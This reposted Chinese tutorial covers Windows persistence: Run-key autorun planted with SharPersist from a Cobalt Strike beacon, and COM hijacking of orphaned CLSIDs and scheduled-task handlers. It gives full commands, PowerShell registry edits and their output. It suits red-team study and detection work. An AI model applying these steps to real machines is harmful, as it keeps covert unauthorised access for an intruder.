【主机持久化】注册表自动运行

news/2024/12/28 18:04:42/文章来源:https://www.cnblogs.com/o-O-oO/p/18449621

HKCU 和 HKLM 中的 AutoRun 值允许应用程序在开机时启动,通常这些值用于启动本机和第三方应用程序,例如软件更新程序、下载助手、驱动程序实用程序等

beacon> cd C:\ProgramData
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add[*] INFO: Adding registry persistence
[*] INFO: Command: C:\ProgramData\Updater.exe
[*] INFO: Command Args: /q /n
[*] INFO: Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
[*] INFO: Registry Value: Updater
[*] INFO: Option: 
[+] SUCCESS: Registry persistence added

其中:

-k是需要修改的注册表项
-v是要创建的注册表项的名称

重启后测试效果

注意:

1、HKLM 自动运行并不是以 SYSTEM 身份执行有效负载

2、只有当配置单元的所有者登录到计算机时,HKCU 自动运行才会触发

3、当任何用户登录到计算机时,HKLM 自动运行都会触发,但它仍以用户帐户权限运行

五、COM劫持

尽量不要劫持正在使用的 COM 对象,这会破坏依赖它们的应用程序运行,可能暴露攻击行为

尽量找试图加载实际上不存在的对象(所谓的“废弃”键)的应用程序,这是一种更安全的策略

可以使用进程监视器(Sysinternals Suite工具之一),它可以显示实时文件系统、注册表和进程活动,在查找不同类型的特权升级方面非常有用,首先在自己的机器上寻找劫持,然后在实际目标上利用它们,在Attacker Desktop虚拟机上启动procmon64.exe

筛选如下操作:

1、RegOpenKey 操作
2、结果为NAME NOT FOUND
3、并且路径以InprocServer32结尾

为了加快收集速度,可以进行一些常规操作,比如单击任意内容、进入 Windows 菜单、启动应用程序等。大约一分钟有大约 500 个事件,其中大部分来自 Explorer,一些来自第三方软件,其他来自 OS 组件

需要注意的是特定 CLSID 的加载次数,如果劫持了一个每隔几秒加载一次的 CLSID,那要付出很大代价了

所以最好去寻找一个加载频率不高或在打开常用应用程序(Word、Excel、Outlook 等)时加载的 CLSID

通过滚动浏览,发现一个 CLSID 正在由C:\Windows\System32\DllHost.exe加载

HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32

使用 PowerShell 命令检测该条目确实存在于 HKLM 中,但不存在于 HKCU 中

PS C:\Users\Attacker> Get-Item -Path "HKLM:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"Name                           Property
----                           --------
InprocServer32                 (default)      : C:\Windows\System32\thumbcache.dllThreadingModel : Apartment
PS C:\Users\Attacker> Get-Item -Path "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32' because it does not exist.

利用此漏洞,可在 HKCU 中创建必要的注册表项,并将其指向 Beacon DLL,比如直接将其指向C:\Payloads\http_x64.dll

PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\Payloads\http_x64.dll"
PS C:\Users\Attacker> New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

当DllHost.exe加载此 COM 条目时,一个 Beacon上线

要清理 COM 劫持只需从 HKCU 中删除注册表项并删除 DLL即可

另一个寻找可劫持 COM 组件的方法是计划任务程序,许多默认的 Windows 任务实际上使用自定义触发器来调用 COM 对象,而不是直接在磁盘上执行二进制文件,由于它们是通过计划任务程序执行的,因此更容易预测它们何时会被触发。我们可以使用以下 PowerShell 来查找兼容的任务

$Tasks = Get-ScheduledTaskforeach ($Task in $Tasks)
{if ($Task.Actions.ClassId -ne $null){if ($Task.Triggers.Enabled -eq $true){if ($Task.Principal.GroupId -eq "Users"){Write-Host "Task Name: " $Task.TaskNameWrite-Host "Task Path: " $Task.TaskPathWrite-Host "CLSID: " $Task.Actions.ClassIdWrite-Host}}}
}

这个脚本很简单,输出结果如下:

Task Name:  SystemSoundsService
Task Path:  \Microsoft\Windows\Multimedia\
CLSID:  {2DEA658F-54C1-4227-AF9B-260AB5FC3543}Task Name:  MsCtfMonitor
Task Path:  \Microsoft\Windows\TextServicesFramework\
CLSID:  {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}Task Name:  Calibration Loader
Task Path:  \Microsoft\Windows\WindowsColorSystem\
CLSID:  {B210D694-C8DF-490D-9576-9E20CDBC20BD}Task Name:  CacheTask
Task Path:  \Microsoft\Windows\Wininet\
CLSID:  {0358B920-0AC7-461F-98F4-58E32CD89148}

在计划任务程序中查看MsCtfMonitor 任务,可以看到它是在任何用户登录时触发,可以起到有效的重启持久化作用

在HKEY_CLASSES_ROOT\CLSID中查找 {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} 项

PS C:\> Get-ChildItem -Path "Registry::HKCR\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\MsCtfMonitor.dllThreadingModel : Both

可以看到InprocServer32,并且可以验证它在 HKLM 而不是 HKCU 中

PS C:\> Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSizeName                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

现在只需在 HKCU 中添加一个指向我们的 DLL 的重复条目(如上所示),每次用户登录时都会加载

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/809274.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pbootcms模板如何调用时间 时间格式大全

PbootCMS列表页和详情页中时间格式化的不同样式及其效果:场景 标签 参数 效果列表页 [list:date] 无参数 2021-12-06 09:12:30列表页 [list:date style=Y-m-d] style=Y-m-d 2021-12-06列表页 [list:date style=Y] style=Y 2021列表页 [list:date style=m-d] style=m-d 12-06列…

宝塔面板修改端口号,无法访问_宝塔修改端口后无法访问

宝塔面板修改端口号后无法访问的解决步骤:确认新端口号:确保已正确记下新的宝塔面板端口号。检查防火墙设置:如果服务器有防火墙(如iptables或ufw),确保新的端口已被添加到防火墙规则中允许外部访问。更新DNS解析或hosts文件:如果原来通过域名直接访问宝塔面板,可能需要…

连接Mysql时出现的“no database selected”错误该如何解决?

遇到“no database selected”错误通常是因为在尝试执行SQL查询时没有明确指定要使用的数据库。以下是解决这个问题的步骤:确认连接时已选择数据库在连接数据库之后,确保已经选择了具体的数据库。例如,在MySQL中,可以使用 USE <database_name>; 语句来选择一个数据库…

打开网页显示数据库连接出错

当打开网页时出现“数据库连接出错”的提示,通常意味着网站后端尝试与数据库建立连接时遇到了问题。这可能是由以下几个原因造成的:数据库服务器未启动:确保数据库服务正在运行。 网络问题:检查数据库服务器和应用服务器之间的网络连接是否正常。 配置错误:确认应用程序中…

Navicat连接数据库遭遇1045错误:如何解决及预防措施

遇到 Navicat 连接 MySQL 数据库时出现 1045 错误(访问被拒绝,用户名或密码错误),可以通过以下几个步骤来解决和预防这个问题: 解决方法确认用户名和密码确认在 Navicat 中输入的用户名和密码是否正确。 可以尝试在 MySQL 命令行中验证用户名和密码是否正确。重置密码如果…

连接数据库1045错误

遇到 MySQL 的 1045 错误,通常表示“访问被拒绝,用户名或密码错误”。以下是解决此问题的步骤: 1. 确认用户名和密码检查用户名和密码是否正确:确认登录数据库时使用的用户名和密码是否正确无误。 如果不确定密码,可以尝试重置密码。2. 重置密码通过命令行重置密码:如果忘…

打不开网站并提示网站还原错误如何处理

当遇到“网站还原错误”导致无法打开网站时,可以尝试以下几种方法来解决问题:清除浏览器缓存和Cookies清除浏览器中的缓存数据和Cookies,有时候这些数据可能会导致加载问题。 在浏览器设置中找到“清除浏览数据”选项进行操作。更换浏览器尝试使用不同的浏览器访问该网站,排…

解决网站404页面问题的有效方法

解决网站404页面问题的有效方法主要包括以下几个步骤: 1. 确认具体URL记录下出现404错误的具体URL。 检查URL是否拼写正确或路径是否合理。2. 检查链接有效性确认该URL对应的资源是否存在。 检查是否有文件被误删除或移动。3. 检查服务器配置查看服务器配置文件(如Apache的.h…

公司官网网站首页的轮播图要怎么更换

更换公司官网首页的轮播图通常涉及以下几个步骤:准备图片确保新图片的尺寸和格式符合网站的要求。 优化图片质量,确保加载速度快。上传图片登录到网站的内容管理系统(CMS)或FTP到服务器上,将新图片上传到相应的文件夹。更新轮播图设置如果使用CMS:进入网站后台管理界面。…

网站logo替换方法:如何替换网站Logo图片(适用任何网站)

替换网站Logo图片的操作取决于网站的技术栈和内容管理系统(CMS)。以下是一些通用步骤,适用于大多数使用HTML/CSS和CMS构建的网站:备份当前网站数据在进行任何更改之前,请确保备份整个网站的数据,包括数据库和文件系统,以防意外丢失重要信息。获取新的Logo图像准备好新的…

网站返回首页发生错误怎么办

当遇到网站返回首页发生错误的情况时,可以按照以下步骤进行排查和解决:检查网络连接:确保当前网络连接正常。 尝试刷新页面或重新启动路由器。清除浏览器缓存:清除浏览器缓存数据,有时旧的缓存可能导致加载问题。尝试其他浏览器:使用不同的浏览器访问该网站,看是否依然存…

网站出现404错误的原因与解决方案

网站出现“404 Not Found”错误通常表示请求的资源在服务器上找不到。这种错误可能是由多种原因引起的。下面是一些常见原因及相应的解决方案: 常见原因URL 输入错误用户输入的 URL 不正确或拼写错误。页面已被删除或移动页面已经被网站管理员删除或移动到了其他位置。重定向问…